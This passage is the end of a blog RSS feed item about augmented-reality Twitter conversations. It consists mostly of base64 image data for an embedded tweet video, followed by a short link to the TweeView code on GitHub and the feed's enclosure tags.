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" width="550"></video></div></section><hr class="social-embed-hr"><footer class="social-embed-footer"><a href="https://twitter.com/Infoxicador/status/1432768058028875791"><span aria-label="16 likes" class="social-embed-meta">❤️ 16</span><span aria-label="1 replies" class="social-embed-meta">💬 1</span><span aria-label="0 reposts" class="social-embed-meta">🔁 0</span><time datetime="2021-08-31T18:11:39.000Z" itemprop="datePublished">18:11 - Tue 31 August 2021</time></a></footer></blockquote>

<h2 id="grab-the-code"><a href="https://shkspr.mobi/blog/2021/09/augmented-reality-twitter-conversations/#grab-the-code">Grab the code</a></h2>

<p>All of this is available as <a href="https://github.com/edent/TweeView">open source on my GitHub repo</a>.</p>

<p>Enjoy!</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=40299&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2021/09/augmented-reality-twitter-conversations/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		<enclosure url="https://shkspr.mobi/blog/wp-content/uploads/2021/09/Augmented-Reality-Demo.mp4" length="15688749" type="video/mp4" />
<enclosure url="https://video.twimg.com/ext_tw_video/1432767873504718850/pu/vid/720x960/sS9cLdGn93eUmvKC.mp4?tag=12" length="1546364" type="video/mp4" />

			</item>
	</channel>
</rss>
